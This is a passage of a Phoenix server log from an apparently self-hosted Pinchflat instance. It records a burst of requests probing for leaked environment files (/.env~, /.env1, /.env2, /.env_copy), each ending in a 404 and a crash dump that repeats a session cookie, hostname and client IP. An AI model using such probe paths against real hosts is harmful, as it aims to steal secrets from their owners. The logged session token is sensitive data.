"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env~", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6JjMT8srUkwAAQdB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env~", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 30, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env~", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 30, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", (truncated) 02:10:08.862 [info] GET /.env1 02:10:08.863 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=416.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:08.864 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=263.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:08.864 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:08.865 [error] #PID<0.3335.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 31) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env1 ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env1", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 31, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3335.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env1", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6KBIV66t2H0AAQeB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env1", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 31, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env1", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 31, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", (truncated) 02:10:08.988 [info] GET /.env2 02:10:08.989 [debug] QUERY OK source="settings" db=0.2ms idle=250.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:08.989 [debug] QUERY OK source="settings" db=0.1ms idle=250.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:08.990 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:08.990 [error] #PID<0.3336.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 32) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env2 ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env2", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 32, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3336.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env2", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6KfT55zzcy0AAQfB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env2", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 32, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env2", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 32, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", (truncated) 02:10:09.113 [info] GET /.env_copy 02:10:09.114 [debug] QUERY OK source="settings" db=0.2ms idle=250.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:09.114 [debug] QUERY OK source="settings" db=0.1ms idle=249.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:09.114 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:09.114 [error] #PID<0.3337.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 33) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env_copy ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env_copy", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 33, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3337.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env_copy", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6K9DioouGV4AAQgB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env_copy", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 33, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", 